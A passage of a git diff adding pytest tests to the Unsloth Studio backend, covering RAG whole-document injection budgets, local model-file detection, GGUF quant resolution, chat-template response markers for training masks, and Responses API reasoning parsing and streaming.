test_all_chunks_for_scope_excludes_non_completed(rag_conn): + scope = store.thread_scope("t1") + _add_doc(rag_conn, scope, "done", "done.pdf", "h1", ["ready"]) + _add_doc(rag_conn, scope, "pend", "pend.pdf", "h2", ["indexing"], status = "pending") + rows = store.all_chunks_for_scope(rag_conn, scope) + assert [r["id"] for r in rows] == ["done:0"] + + +def test_all_chunks_for_scope_empty_scope(rag_conn): + assert store.all_chunks_for_scope(rag_conn, store.thread_scope("nope")) == [] + + +def test_all_chunks_for_scope_isolates_scopes(rag_conn): + _add_doc(rag_conn, store.thread_scope("t1"), "d1", "f", "h1", ["mine"]) + _add_doc(rag_conn, store.thread_scope("t2"), "d2", "f", "h2", ["theirs"]) + rows = store.all_chunks_for_scope(rag_conn, store.thread_scope("t1")) + assert [r["text"] for r in rows] == ["mine"] + + +# ── store.scope_token_estimate (cheap whole-doc budget pre-check) ───── + + +def test_scope_token_estimate_sums_without_hydrating(rag_conn): + # Stored counts sum directly; zero/missing falls back to length/4; non-completed out. + scope = store.thread_scope("t1") + _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["alpha", "bravo"], tokens = [10, 20]) + # token_count 0 -> length/4 fallback: a 40-char chunk estimates to 10 tokens. + _add_doc(rag_conn, scope, "d2", "b.pdf", "h2", ["x" * 40], tokens = [0]) + _add_doc(rag_conn, scope, "d3", "c.pdf", "h3", ["pending"], status = "pending", tokens = [99]) + assert store.scope_token_estimate(rag_conn, scope) == 10 + 20 + 10 + assert store.scope_token_estimate(rag_conn, store.thread_scope("none")) == 0 + + +def test_scope_token_estimate_matches_row_sum(rag_conn): + # Must agree with the exact per-row sum it short-circuits (one stored count, one + # length/4 fallback), so the pre-check never disagrees with the full path. + from core.rag.tool import _row_token_count + + scope = store.thread_scope("t1") + _add_doc( + rag_conn, scope, "d1", "a.pdf", "h1", ["a long-ish chunk body here", "tail"], tokens = [0, 5] + ) + rows = store.all_chunks_for_scope(rag_conn, scope) + assert store.scope_token_estimate(rag_conn, scope) == sum(_row_token_count(r) for r in rows) + + +# ── tool.whole_document_context ────────────────────────────────────── + + +def test_whole_document_context_returns_full_text_and_sources(rag_conn): + scope = store.thread_scope("t1") + _add_doc( + rag_conn, + scope, + "d1", + "report.pdf", + "h1", + ["chapter one body", "chapter two body"], + pages = [1, 2], + ) + result = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert result is not None + text, sources = result + # Every chunk is present, in order, as blocks. + assert "chapter one body" in text + assert "chapter two body" in text + assert ' None (whole-doc is thread-attachment only). + assert tool.whole_document_context(max_tokens = 6000) is None + + +def test_whole_document_context_null_token_count_enforces_budget(rag_conn): + # A missing token_count must not bypass the budget; fall back to a length estimate. + big = "word " * 20_000 # ~20k tokens by length estimate + _add_doc(rag_conn, store.thread_scope("t1"), "d1", "big.pdf", "h1", [big], tokens = [None]) + assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None + assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 1_000_000) is not None + + +def test_whole_document_context_spans_multiple_docs(rag_conn): + scope = store.thread_scope("t1") + _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["alpha text"]) + _add_doc(rag_conn, scope, "d2", "b.pdf", "h2", ["bravo text"]) + text, sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert "alpha text" in text and "bravo text" in text + assert {s["filename"] for s in sources} == {"a.pdf", "b.pdf"} + + +# ── build_rag_autoinject wiring ────────────────────────────────────── + + +def _convo(text = "summarize the whole document"): + return [{"role": "user", "content": text}] + + +def test_build_rag_autoinject_uses_whole_doc(rag_conn): + scope = store.thread_scope("t1") + _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["whole alpha part", "whole bravo part"]) + result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"}) + assert result is not None + injected = _injected_text(result) + # Both chunks present -> the model receives the entire file, not top-K. + assert "whole alpha part" in injected + assert "whole bravo part" in injected + # Tool-message content is chunk text only; the citation JSON tail is internal. + assert inf_tools.RAG_SOURCES_SENTINEL not in injected + + +def test_build_rag_autoinject_whole_doc_runs_when_autoinject_false(rag_conn, monkeypatch): + # Large-model Auto sets autoinject=False, but whole-doc is a separate thread-doc + # context mode and should still inject a fitting attachment. + _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["entire file body"]) + monkeypatch.setattr( + tool, + "search_for_autoinject", + lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")), + ) + result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False}) + assert result is not None + assert "entire file body" in _injected_text(result) + + +def test_build_rag_autoinject_explicit_off_disables_whole_doc(rag_conn, monkeypatch): + # The UI Off switch sends both autoinject=False and whole_doc=False. + _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["small body"]) + monkeypatch.setattr( + tool, + "search_for_autoinject", + lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")), + ) + assert ( + inf_tools.build_rag_autoinject( + _convo(), {"thread_id": "t1", "autoinject": False, "whole_doc": False} + ) + is None + ) + + +def test_build_rag_autoinject_falls_back_over_budget(rag_conn, monkeypatch): + scope = store.thread_scope("t1") + _add_doc(rag_conn, scope, "d1", "big.pdf", "h1", ["overflow"], tokens = [50_000]) + + sentinel = ("TOPK_FALLBACK_TEXT", [{"citationId": 1, "filename": "big.pdf", "text": "x"}]) + monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel) + + result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"}) + assert result is not None + assert _injected_text(result) == "TOPK_FALLBACK_TEXT" + + +def test_build_rag_autoinject_context_budget_falls_back(rag_conn, monkeypatch): + # Runtime context can be smaller than RAG_WHOLE_DOC_MAX_TOKENS; cap whole-doc to + # the active context and fall back to retrieval when it would overflow. + _add_doc( + rag_conn, store.thread_scope("t1"), "d1", "small.pdf", "h1", ["fits global"], tokens = [900] + ) + sentinel = ("TOPK_CONTEXT_FALLBACK", [{"citationId": 1, "filename": "small.pdf", "text": "x"}]) + monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel) + result = inf_tools.build_rag_autoinject( + _convo(), {"thread_id": "t1", "context_length": 1200, "whole_doc": True} + ) + assert result is not None + assert _injected_text(result) == "TOPK_CONTEXT_FALLBACK" + + +def test_whole_doc_budget_reserves_image_parts(monkeypatch): + from core.rag import config + + monkeypatch.setattr(config, "WHOLE_DOC_MAX_TOKENS", 10_000) + scope = {"context_length": 7000, "response_headroom": 1000} + text_only = [{"role": "user", "content": [{"type": "text", "text": "summarize"}]}] + with_image = [ + { + "role": "user", + "content": [ + {"type": "text", "text": "summarize"}, + {"type": "image_url", "image_url": {"url": "data:image/png;base64,abc"}}, + ], + } + ] + + assert ( + inf_tools._whole_doc_budget(scope, text_only) + - inf_tools._whole_doc_budget(scope, with_image) + == inf_tools._IMAGE_PART_TOKEN_ESTIMATE + ) + + +def test_build_rag_autoinject_server_kill_switch_blocks_whole_doc(rag_conn, monkeypatch): + # RAG_THREAD_WHOLE_DOC=0 stays authoritative; browser requests should not + # turn it back on by default. + from core.rag import config + + monkeypatch.setattr(config, "THREAD_WHOLE_DOC", False) + _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["small body"]) + monkeypatch.setattr( + tool, + "search_for_autoinject", + lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")), + ) + assert ( + inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False}) is None + ) + + +def test_whole_document_context_budgets_rendered_wrappers(rag_conn): + # Many tiny chunks add wrapper overhead beyond raw chunk token counts; budget + # the rendered prompt, not just stored text. + texts = ["x" for _ in range(120)] + _add_doc( + rag_conn, + store.thread_scope("t1"), + "d1", + "many-pages.pdf", + "h1", + texts, + tokens = [1 for _ in texts], + ) + assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 500) is None + + +def test_build_rag_autoinject_whole_doc_disabled_via_override(rag_conn, monkeypatch): + scope = store.thread_scope("t1") + _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["small body"]) + + sentinel = ("TOPK_TEXT", [{"citationId": 1, "filename": "doc.pdf", "text": "x"}]) + monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel) + + # whole_doc=False forces retrieval even though the doc fits. + result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "whole_doc": False}) + assert result is not None + assert _injected_text(result) == "TOPK_TEXT" + + +def test_build_rag_autoinject_kb_scope_never_whole_doc(rag_conn, monkeypatch): + # A KB-only scope (no thread) goes through retrieval, never whole-doc. + kb_scope = store.kb_scope("K1") + _add_doc(rag_conn, kb_scope, "d1", "kb.pdf", "h1", ["kb body one", "kb body two"]) + + sentinel = ("KB_RETRIEVAL_TEXT", [{"citationId": 1, "filename": "kb.pdf", "text": "x"}]) + monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel) + + result = inf_tools.build_rag_autoinject(_convo(), {"kb_id": "K1"}) + assert result is not None + assert _injected_text(result) == "KB_RETRIEVAL_TEXT" + + +def test_whole_document_context_thread_scope_only(rag_conn): + # A project corpus chunk is never whole-doc injected, even with a thread attachment. + _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread attachment"]) + _add_doc(rag_conn, store.project_scope("p1"), "pd", "project.txt", "h2", ["project corpus"]) + text, sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert "thread attachment" in text + assert "project corpus" not in text + assert {s["filename"] for s in sources} == {"thread.txt"} + + +def test_build_rag_autoinject_appends_project_retrieval(rag_conn, monkeypatch): + # Project chat: thread attachment whole-doc'd AND project sources retrieved, merged. + _add_doc( + rag_conn, + store.thread_scope("t1"), + "td", + "thread.txt", + "h1", + ["thread chunk one", "thread chunk two"], + ) + proj = ( + "PROJ", + [ + { + "citationId": 1, + "chunkId": "pj:0", + "documentId": "pj", + "filename": "project.txt", + "page": None, + "text": "project passage zeta", + "score": 0.91, + } + ], + ) + captured = {} + + def fake_search(**kw): + captured.update(kw) + return proj + + monkeypatch.setattr(tool, "search_for_autoinject", fake_search) + result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"}) + injected = _injected_text(result) + # Whole thread attachment AND the project passage are both injected. + assert "thread chunk one" in injected + assert "thread chunk two" in injected + assert "project passage zeta" in injected + # The companion retrieval was scoped to the project only (not thread or KB). + assert captured.get("scope_project_id") == "p1" + assert captured.get("scope_thread_id") is None + assert captured.get("scope_kb_id") is None + # Citation ids are sequential across the merged set: thread 1,2 then project 3. + assert ' whole-doc injection ──────── + + +def test_real_ingestion_feeds_whole_document(rag_conn, stub_embeddings, tmp_path): + """Drive the real ingestion worker on a multi-paragraph file, then confirm whole-doc + injection splices the entire document, not just retrieved chunks.""" + from core.rag import ingestion + + scope = store.thread_scope("t1") + body = ( + "# Quarterly Report\n\n" + + ("Revenue rose across every region this period. " * 40) + + "\n\nThe unique closing marker is xyzzy-sentinel for the final page. " * 40 + ) + src = tmp_path / "report.md" + src.write_text(body, encoding = "utf-8") + + document_id = store.create_document( + rag_conn, + scope = scope, + filename = "report.md", + sha256 = "sha-e2e", + thread_id = "t1", + status = "pending", + stored_path = str(src), + ) + job_id = ingestion._new_job(rag_conn, document_id, scope) + ingestion._run(job_id, document_id, scope, str(src), None) + + doc = store.get_document(rag_conn, document_id) + assert doc["status"] == "completed" + assert doc["num_chunks"] >= 2 # the doc chunked into multiple pieces + + result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"}) + assert result is not None + injected = _injected_text(result) + # Opening and ending both present -> the whole file reached the model. + assert "Revenue rose" in injected + assert "xyzzy-sentinel" in injected + # Every stored chunk is represented as a numbered block. + assert injected.count("", "exec"), ns) + return ns["_dir_has_downloaded_model"] + + +has_downloaded_model = _load_has_downloaded_model() + + +def test_empty_scaffold_is_false(tmp_path): + empty = tmp_path / "lmstudio" / "models" + empty.mkdir(parents = True) + assert has_downloaded_model(empty) is False + + +def test_lmstudio_gguf_is_true(tmp_path): + # models/publisher/repo/file.gguf (LM Studio's nested layout). + repo = tmp_path / "models" / "bartowski" / "Qwen3-4B-GGUF" + repo.mkdir(parents = True) + (repo / "q4.gguf").write_bytes(b"x") + assert has_downloaded_model(tmp_path / "models") is True + + +def test_safetensors_is_true(tmp_path): + repo = tmp_path / "models" / "repo" + repo.mkdir(parents = True) + (repo / "model.safetensors").write_bytes(b"x") + assert has_downloaded_model(tmp_path / "models") is True + + +def test_ollama_empty_scaffold_is_false(tmp_path): + models = tmp_path / "ollama" / "models" + (models / "manifests").mkdir(parents = True) + (models / "blobs").mkdir() + assert has_downloaded_model(models) is False + + +def test_ollama_with_manifest_is_true(tmp_path): + models = tmp_path / "ollama" / "models" + manifest = models / "manifests" / "registry.ollama.ai" / "library" / "llama3" + manifest.mkdir(parents = True) + # A real manifest references its weights via an image.model layer; the + # referenced blob must exist on disk for the model to be loadable. + (manifest / "latest").write_text( + json.dumps( + { + "layers": [ + { + "mediaType": "application/vnd.ollama.image.model", + "digest": "sha256:abc", + } + ] + } + ) + ) + (models / "blobs").mkdir() + (models / "blobs" / "sha256-abc").write_bytes(b"x") + assert has_downloaded_model(models) is True + + +def test_ollama_manifest_without_blob_is_false(tmp_path): + # A failed/pruned pull leaves the manifest behind but its model blob is + # gone: the chip must not lead to an empty picker. + models = tmp_path / "ollama" / "models" + manifest = models / "manifests" / "registry.ollama.ai" / "library" / "llama3" + manifest.mkdir(parents = True) + (manifest / "latest").write_text( + json.dumps( + { + "layers": [ + { + "mediaType": "application/vnd.ollama.image.model", + "digest": "sha256:missing", + } + ] + } + ) + ) + (models / "blobs").mkdir() # empty: the referenced blob never landed + assert has_downloaded_model(models) is False + + +def test_non_model_files_is_false(tmp_path): + junk = tmp_path / "junk" + junk.mkdir() + (junk / "readme.txt").write_text("hi") + assert has_downloaded_model(junk) is False + + +def test_pytorch_bin_weights_are_true(tmp_path): + # A folder whose only weights are PyTorch .bin checkpoints (which the local + # scanner accepts) should still earn a Recommended chip. + repo = tmp_path / "models" / "repo" + repo.mkdir(parents = True) + (repo / "config.json").write_text("{}") + (repo / "pytorch_model.bin").write_bytes(b"x") + assert has_downloaded_model(tmp_path / "models") is True + + +def test_non_weight_bin_is_false(tmp_path): + # A stray .bin that is not a weight file (e.g. tokenizer.bin) must not count. + repo = tmp_path / "models" / "repo" + repo.mkdir(parents = True) + (repo / "tokenizer.bin").write_bytes(b"x") + assert has_downloaded_model(tmp_path / "models") is False + + +def test_hidden_subtree_does_not_starve_the_budget(tmp_path): + # A real model dir that also holds a huge hidden subtree (e.g. a .git or + # .cache). The hidden entries must not exhaust max_entries before the walk + # reaches the actual weights, which would falsely report "no model". + models = tmp_path / "models" + git = models / ".git" / "objects" + git.mkdir(parents = True) + for i in range(50): + (git / f"obj{i}").write_bytes(b"x") + repo = models / "repo" + repo.mkdir() + (repo / "model.safetensors").write_bytes(b"x") + assert has_downloaded_model(models, max_entries = 10) is True diff --git a/studio/backend/tests/test_resolve_quant_gguf.py b/studio/backend/tests/test_resolve_quant_gguf.py new file mode 100644 index 0000000000..840c4d8d4c --- /dev/null +++ b/studio/backend/tests/test_resolve_quant_gguf.py @@ -0,0 +1,98 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for :func:`routes.models._resolve_quant_gguf` (PR #6364 follow-up). + +The /kv-cache-estimate resolver must mirror list_local_gguf_variants: +- read the quant label from the snapshot-relative path so nested layouts like + ``BF16/model.gguf`` resolve (not just basenames), +- skip MTP drafter files so a ``...-Q8_0-MTP.gguf`` drafter is never returned as + the Q8_0 weights, and +- when several cache snapshots hold the quant, pick the most complete (largest + total) so a partial older revision can't underestimate the weight bytes. + +No GPU/network. The resolver only stats sizes and parses file names, so the +GGUF files can be arbitrary bytes. +""" + +from __future__ import annotations + +import sys +import types +from pathlib import Path + +# Keep this test runnable without optional logging deps (mirrors +# test_cached_gguf_routes.py). +if "structlog" not in sys.modules: + + class _DummyLogger: + def __getattr__(self, _name): + return lambda *args, **kwargs: None + + sys.modules["structlog"] = types.SimpleNamespace( + BoundLogger = _DummyLogger, + get_logger = lambda *args, **kwargs: _DummyLogger(), + ) + +import routes.models as models_route + + +def _write(path: Path, size: int) -> Path: + path.parent.mkdir(parents = True, exist_ok = True) + path.write_bytes(b"\0" * size) + return path + + +def test_resolves_quant_from_parent_directory_layout(tmp_path): + # A repo that puts the quant label in a parent dir (BF16/model.gguf). + root = tmp_path / "repo" + f = _write(root / "BF16" / "model.gguf", 1234) + + path, total = models_route._resolve_quant_gguf(str(root), "BF16", is_local = True) + + assert path == str(f) + assert total == 1234 + + +def test_skips_mtp_drafter_for_main_weights(tmp_path): + # Main Q8_0 weights next to a same-quant MTP drafter that sorts first by name. + root = tmp_path / "repo" + main = _write(root / "model-Q8_0.gguf", 100) + _write(root / "MTP" / "model-Q8_0-MTP.gguf", 50) + + path, total = models_route._resolve_quant_gguf(str(root), "Q8_0", is_local = True) + + assert path == str(main) + # Drafter bytes are excluded from the weight total. + assert total == 100 + + +def test_prefers_the_complete_snapshot(tmp_path, monkeypatch): + from huggingface_hub import constants as hf_constants + + cache = tmp_path / "hub" + snaps = cache / "models--org--repo" / "snapshots" + # Partial older snapshot: one small shard. + _write(snaps / "aaaa" / "model-Q4_K_M.gguf", 10) + # Complete newer snapshot: two larger shards. + complete_first = _write(snaps / "bbbb" / "model-00001-of-00002-Q4_K_M.gguf", 30) + _write(snaps / "bbbb" / "model-00002-of-00002-Q4_K_M.gguf", 40) + + monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(cache)) + + path, total = models_route._resolve_quant_gguf("org/repo", "Q4_K_M", is_local = False) + + # The most complete snapshot (70 bytes) wins over the partial one (10). + assert total == 70 + # Shard 1 (metadata) of the complete snapshot is returned. + assert path == str(complete_first) + + +def test_returns_none_when_quant_absent(tmp_path): + root = tmp_path / "repo" + _write(root / "model-Q4_K_M.gguf", 100) + + path, total = models_route._resolve_quant_gguf(str(root), "Q8_0", is_local = True) + + assert path is None + assert total == 0 diff --git a/studio/backend/tests/test_response_template_markers.py b/studio/backend/tests/test_response_template_markers.py new file mode 100644 index 0000000000..8c813e62f2 --- /dev/null +++ b/studio/backend/tests/test_response_template_markers.py @@ -0,0 +1,216 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""TEMPLATE_TO_RESPONSES_MAPPER markers must match what the templates render. + +The manual instruction/response markers are the fallback for +train_on_completions when auto-detection is unavailable, so a marker that +never matches the rendered chat template masks every assistant token and the +run dies on the all-labels-masked safety net. Six template families shipped +such markers: + + mistral - "[INST] " / " [/INST]": the surrounding spaces fold into + the neighbouring tokens ("[INST]" is a single special + token in Mistral v0.3), so the padded strings never match. + llama - same space folding, plus llama-2 tokenizes [INST] after + as bare "[" on transformers 5.x while the standalone + encoding gives "▁[", so the marker must anchor on . + starling - trailing space after "GPT4 Correct Assistant:" folds + into the next content token ("▁Hello"). + glm - "[gMASK]" renders once at text start, never before + later user turns; "" is generation scaffolding + that non-final turns render as a lone "". + qwen3-thinking - "" is stripped from non-final assistant turns + (Qwen3-Thinking-2507) or never rendered (QwQ). + zephyr - role tags are plain text, and SentencePiece tokenizes + "<|assistant|>" differently at text start than after + "\\n" mid-conversation; the markers need the leading + newline anchor to tokenize like a real turn boundary. + +Literal assertions run everywhere; the token-level masking checks need the +representative tokenizers plus unsloth_zoo and skip when either is +unavailable (offline CI). +""" + +from __future__ import annotations + +import importlib.util +import sys +from pathlib import Path + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +# model_mappings is dependency-free: load it directly so these tests run +# without the studio venv / package import side effects. +_MM_PATH = Path(_BACKEND_DIR) / "utils" / "datasets" / "model_mappings.py" +_mm_spec = importlib.util.spec_from_file_location("_marker_test_mm", _MM_PATH) +model_mappings = importlib.util.module_from_spec(_mm_spec) +_mm_spec.loader.exec_module(model_mappings) + +T2R = model_mappings.TEMPLATE_TO_RESPONSES_MAPPER + + +# ── Fixed entries: markers derived from what each representative tokenizer +# actually renders (see PR for the token-level derivation). ── +EXPECTED_FIXED = { + "mistral": {"instruction": "[INST]", "response": "[/INST]"}, + "llama": {"instruction": "[INST]", "response": "[/INST]"}, + "starling": {"instruction": "GPT4 Correct User:", "response": "GPT4 Correct Assistant:"}, + "glm": {"instruction": "<|user|>", "response": "<|assistant|>"}, + "qwen3-thinking": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"}, + "zephyr": {"instruction": "\n<|user|>\n", "response": "\n<|assistant|>\n"}, +} + +# Spot-pin some known-good entries so a refactor cannot silently change them. +EXPECTED_UNCHANGED = { + "qwen3": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"}, + "llama-3.1": { + "instruction": "<|start_header_id|>user<|end_header_id|>\n\n", + "response": "<|start_header_id|>assistant<|end_header_id|>\n\n", + }, + "phi-4": { + "instruction": "<|im_start|>user<|im_sep|>", + "response": "<|im_start|>assistant<|im_sep|>", + }, + "gemma-3": {"instruction": "user\n", "response": "model\n"}, + "gpt-oss": { + "instruction": "<|start|>user<|message|>", + "response": "<|start|>assistant<|channel|>final<|message|>", + }, +} + + +@pytest.mark.parametrize("template", sorted(EXPECTED_FIXED)) +def test_fixed_marker_literals(template): + assert T2R[template] == EXPECTED_FIXED[template] + + +@pytest.mark.parametrize("template", sorted(EXPECTED_UNCHANGED)) +def test_unchanged_marker_literals(template): + assert T2R[template] == EXPECTED_UNCHANGED[template] + + +def test_no_marker_is_empty_or_whitespace(): + for template, parts in T2R.items(): + assert parts["instruction"].strip(), template + assert parts["response"].strip(), template + + +# ── Token-level checks: markers must select exactly the assistant turns on a +# rendered two-turn fixture, and the final EOS label must never be -100. ── + +REPRESENTATIVES = { + "mistral": ["unsloth/mistral-7b-instruct-v0.3"], + "llama": ["unsloth/llama-2-7b-chat"], + "starling": ["unsloth/Starling-LM-7B-beta"], + "glm": ["unsloth/GLM-4.7-Flash"], + "qwen3-thinking": ["unsloth/Qwen3-4B-Thinking-2507", "Qwen/QwQ-32B"], + "zephyr": ["unsloth/zephyr-sft"], +} + +FIXTURE = [ + {"role": "user", "content": "zebra alpha question one?"}, + {"role": "assistant", "content": "grape reply number one."}, + {"role": "user", "content": "zebra beta question two?"}, + {"role": "assistant", "content": "grape reply number two."}, +] + + +def _load_tokenizer(repo): + try: + from transformers import AutoTokenizer + except Exception as e: # pragma: no cover + pytest.skip(f"transformers unavailable: {e}") + try: + return AutoTokenizer.from_pretrained(repo) + except OSError as e: + pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}") + except Exception: + # Tokenizer class newer than this transformers (e.g. GLM-4.7's + # TokenizersBackend): build directly from tokenizer.json. + try: + import json as _json + from huggingface_hub import hf_hub_download + from transformers import PreTrainedTokenizerFast + + with open(hf_hub_download(repo, "tokenizer_config.json"), encoding = "utf-8") as f: + cfg = _json.load(f) + tok_file = hf_hub_download(repo, "tokenizer.json") + + def _tokval(v): + return v["content"] if isinstance(v, dict) else v + + return PreTrainedTokenizerFast( + tokenizer_file = tok_file, + chat_template = cfg.get("chat_template"), + **{ + k: _tokval(cfg[k]) + for k in ("bos_token", "eos_token", "pad_token", "unk_token") + if cfg.get(k) is not None + }, + ) + except Exception as e: + pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}") + + +def _train_on_responses_only(): + try: + from unsloth_zoo.dataset_utils import train_on_responses_only + except Exception as e: + pytest.skip(f"unsloth_zoo unavailable: {e}") + return train_on_responses_only + + +@pytest.mark.parametrize( + "template,repo", + [(t, r) for t, repos in sorted(REPRESENTATIVES.items()) for r in repos], +) +def test_fixed_markers_token_level(template, repo): + tor = _train_on_responses_only() + tok = _load_tokenizer(repo) + parts = T2R[template] + + msgs = [{"role": "system", "content": "You are a terse assistant."}] + FIXTURE + try: + ids = tok.apply_chat_template(msgs, tokenize = True, add_generation_prompt = False) + if hasattr(ids, "keys"): + ids = ids["input_ids"] # transformers 5.x returns a BatchEncoding + except Exception: + ids = tok.apply_chat_template(FIXTURE, tokenize = True, add_generation_prompt = False) + if hasattr(ids, "keys"): + ids = ids["input_ids"] + + fn = tor( + None, + instruction_part = parts["instruction"], + response_part = parts["response"], + tokenizer = tok, + return_function = True, + ) + labels = fn({"input_ids": [list(ids)]})["labels"][0] + + n = len(ids) + trained = tok.decode([ids[i] for i in range(n) if labels[i] != -100]) + masked = tok.decode([ids[i] for i in range(n) if labels[i] == -100]) + + # User and system content fully masked + assert "question one" not in trained and "question one" in masked + assert "question two" not in trained and "question two" in masked + assert "terse assistant" not in trained + # EVERY assistant turn trained, not just the last + assert "reply number one" in trained + assert "reply number two" in trained + # The final EOS (last non-whitespace token) must never be -100, or the + # fine-tuned model never learns to stop generating. + i = n - 1 + while i > 0 and tok.decode([ids[i]]).strip() == "": + i -= 1 + assert labels[i] != -100, f"final token {tok.convert_ids_to_tokens(int(ids[i]))!r} is masked" + + +if __name__ == "__main__": + raise SystemExit(pytest.main([__file__, "-v"])) diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py index 0bea355668..46dd0d42e4 100644 --- a/studio/backend/tests/test_responses_tool_passthrough.py +++ b/studio/backend/tests/test_responses_tool_passthrough.py @@ -59,8 +59,11 @@ from models.inference import ( ResponsesUsage, ) from routes.inference import ( + _ResponsesReasoningExtractor, + _SameTaskStreamingResponse, _build_chat_request, _chat_tool_calls_to_responses_output, + _extract_responses_reasoning, _normalise_responses_input, _responses_tool_output_content, _responses_non_streaming, @@ -782,8 +785,18 @@ class TestResponsesNonStreamingAdapter: assert "" not in body["output"][1]["content"][0]["text"] assert "" not in body["output"][1]["content"][0]["text"] + def test_unclosed_think_block_extracts_as_reasoning(self): + reasoning, visible = _extract_responses_reasoning( + "partial plan", + parse_think_markers = True, + ) + + assert reasoning == "partial plan" + assert visible == "" + def test_monitor_records_translated_visible_text(self, monkeypatch): import routes.inference as inf_mod + import routes.inference as inf_mod async def fake_chat_completions(chat_req, request): assert request.state.skip_api_monitor is True @@ -927,6 +940,38 @@ class TestResponsesNonStreamingAdapter: assert [item["type"] for item in body["output"]] == ["message"] assert body["output"][0]["content"][0]["text"] == "show x tags" + def test_reasoning_capable_gguf_parses_think_tags_by_default(self, monkeypatch): + body = self._run_with_message( + monkeypatch, + {"content": "plananswer"}, + llama_backend = SimpleNamespace( + is_loaded = True, + reasoning_always_on = False, + supports_reasoning = True, + ), + ) + + assert [item["type"] for item in body["output"]] == ["reasoning", "message"] + assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan"}] + assert body["output"][1]["content"][0]["text"] == "answer" + + def test_reasoning_capable_gguf_sanitizes_think_tags_when_disabled(self, monkeypatch): + payload = ResponsesRequest(input = "hi", reasoning = {"effort": "none"}) + body = self._run_with_message( + monkeypatch, + {"content": "leakedanswer"}, + payload = payload, + llama_backend = SimpleNamespace( + is_loaded = True, + reasoning_always_on = False, + supports_reasoning = True, + ), + ) + + assert [item["type"] for item in body["output"]] == ["reasoning", "message"] + assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "leaked"}] + assert body["output"][1]["content"][0]["text"] == "answer" + def test_structured_reasoning_content_extracts_text_parts(self, monkeypatch): body = self._run_with_message( monkeypatch, @@ -949,7 +994,7 @@ class TestResponsesNonStreamingAdapter: assert [item["type"] for item in body["output"]] == ["message"] assert body["output"][0]["content"][0]["text"] == "33" - def test_reasoning_only_is_also_visible_message_text(self, monkeypatch): + def test_reasoning_only_stays_out_of_visible_message_text(self, monkeypatch): payload = ResponsesRequest(input = "hi", reasoning = {"effort": "high"}) body = self._run_with_message( monkeypatch, @@ -957,9 +1002,8 @@ class TestResponsesNonStreamingAdapter: payload = payload, ) - assert [item["type"] for item in body["output"]] == ["reasoning", "message"] + assert [item["type"] for item in body["output"]] == ["reasoning"] assert body["output"][0]["content"][0]["text"] == "plan" - assert body["output"][1]["content"][0]["text"] == "plan" # ===================================================================== @@ -1033,6 +1077,36 @@ class TestResponsesStreamAdapter: ), ) + def test_stream_response_avoids_legacy_receive_watcher(self, monkeypatch): + self._install_stream_mock( + monkeypatch, + [{"choices": [{"delta": {"content": "33"}}]}], + ) + payload = ResponsesRequest(input = "hi", stream = True) + messages = [ChatMessage(role = "user", content = "hi")] + + async def run(): + response = await _responses_stream(payload, messages, self._Request()) + assert isinstance(response, _SameTaskStreamingResponse) + + sent = [] + + async def receive(): + raise AssertionError("Responses streams poll disconnects in the generator") + + async def send(message): + sent.append(message) + + await response({"type": "http", "asgi": {"spec_version": "2.3"}}, receive, send) + return sent + + sent = asyncio.run(run()) + + assert sent[0]["type"] == "http.response.start" + body = b"".join(message.get("body", b"") for message in sent).decode() + assert "response.output_text.delta" in body + assert '"delta":"33"' in body.replace(" ", "") + def test_split_think_markers_stream_as_reasoning_and_visible_text(self, monkeypatch): chunks = [ {"choices": [{"delta": {"content": "x tags"}}]}, + {"choices": [{"delta": {"content": "plananswer"}}]}, {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}}, ] self._install_stream_mock(monkeypatch, chunks) @@ -1350,13 +1425,15 @@ class TestResponsesStreamAdapter: reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta") text_deltas = self._payloads(lines, "response.output_text.delta") - assert reasoning_deltas == [] - assert 